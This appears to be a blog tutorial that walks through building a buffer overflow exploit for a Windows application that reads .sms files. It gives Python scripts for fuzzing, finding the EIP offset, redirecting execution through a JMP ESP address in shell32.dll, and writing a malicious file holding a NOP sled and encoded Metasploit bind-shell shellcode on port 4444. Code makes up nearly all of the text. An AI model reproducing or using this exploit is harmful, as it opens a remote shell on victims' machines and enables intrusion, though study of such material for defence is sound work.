first, we have to make fuzzer to make the application crash.
#!/usr/bin/python
nama = "sms.sms"
junk = "A" * 2000
file = open(nama,'w')
file.write(junk)
print ("sukses ...")
file.close()
we can see, that EIP was successfully overwritten by our junk.
now try to find out the offset by manualy, because after i try to create 2000 pattern and paste it into our fuzzer, it not works. the application not crash. so i try to find out the offset by manualy.
first step, i try to divide the buffer to be two parts like this.
#!/usr/bin/python
nama = "sms.sms"
junk = "A" * 1000
junk+="B"*1000
file = open(nama,'w')
file.write(junk)
print ("sukses ...")
file.close()
then i got the results like this.
we can see that the EIP was successfully overwrittern by our junk "A". so we can conclude that we can find the offset under 1000. the try to divide it again.
#!/usr/bin/python
nama = "sms.sms"
junk ="A" * 500
junk+="B"*500
#junk+="C" * 1000
file = open(nama,'w')
file.write(junk)
print ("sukses ...")
file.close()
then i got the results like this.
so we can see that the EIP will be overwrite between 1000 and 500 by our junk. then try to divide it again until we get EIP. here i got the offsett on 818.
#!/usr/bin/python
nama = "sms.sms"
junk ="A" * 818
#junk+="B"*82
#junk+="G" * 1000
file = open(nama,'w')
file.write(junk)
print ("sukses ...")
file.close()
next step, try to control the EIP. here i want to control using DEADBEEF. different like previously, here we have to write the DEADBEEF without "\x". why ?? because the application only read characters of ASCII.
#!/usr/bin/python
nama = "telepon.sms"
junk ="A" * 810
junk+="EFBEADDE"
#junk+="B"*82
#junk+="G" * 1000
file = open(nama,'w')
file.write(junk)
print ("sukses ...")
file.close()
next step, search module to use as stepping stone. here i use module shell32.dll
then, double click on shell32.dll and then search the command JMP ESP. after we found the address, write it on our fuzzer. and don forget to breakpoint the address for make sure that we will leads to address shell32.dll
#!/usr/bin/python
nama = "telepon.sms"
#junk="A"*2000 # yang pertama
junk ="A" * 810
#junk+="EFBEADDE" #7C9D30D7 FFE4 JMP ESP
junk+="D7309D7C"
#junk+="B"*82
#junk+="C"*100
#junk+="G" * 1000
file = open(nama,'w')
file.write(junk)
print ("sukses ...")
file.close()
so we can see that the process will be stop when access on address 7C9D30D7.
next step, make tha payload
#!/usr/bin/python
nama = "telepon.sms"
#junk="A"*2000 # yang pertama
junk ="A" * 810
#junk+="EFBEADDE" #7C9D30D7 FFE4 JMP ESP
junk+="D7309D7C"
#junk+="B"*82
#junk+="C"*100
#junk+="G" * 1000
nop="90"*16
#/* win32_bind - EXITFUNC=process LPORT=4444 Size=344 Encoder=ShikataGaNai http://metasploit.com */
payload=("ddc431c9b151d97424f45fb8b0b40c4c"
"3147170347178377b0eeb98bd3050c9b"
"dd2570a47e51e37e5beeb942288c44c2"
"2f82cc7d28d78ca1490c7b2a7d597dc2"
"4f9de7b634dd6cc1f51481cc37436ef5"
"e3b0a77ce932e85af0af7129fe64f572"
"e37be28f37f77de3631b1f385af8bb35"
"decec809eda5bf9540327fadc42d0ee3"
"f6415e04d0fc0c9cb53381083147d797"
"e958c74fd94a14b48d6b3395a471daa8"
"5a7121ffce80da2f665c2d3ada09d112"
"76e57ec92a4ad2ae9fb30456485df9f0"
"dbd4e069b342f8e183dc02d766f3ad82"
"89232588dbea5f87dc25cc72dc1a9b99"
"6b1d153693f7f6ec3fad09dc532511a5"
"95cf8aaacc65ca8497ef50423093f503"
"2539564a8f72df8ba5ce69b10b0f9a9f"
"92cd702128fe1950d7c6b6c1835fbbeb"
"6789c466cc49ecd39be740b272626265"
"2427357a16af185d92fe30a24b9449a3"
"439666d0fb940422679addf897b48a82"
"bfd73829bfce401d")
file = open(nama,'w')
file.write(junk+nop+payload)
print ("sukses ...")
file.close()
Alhamdulillah ...:D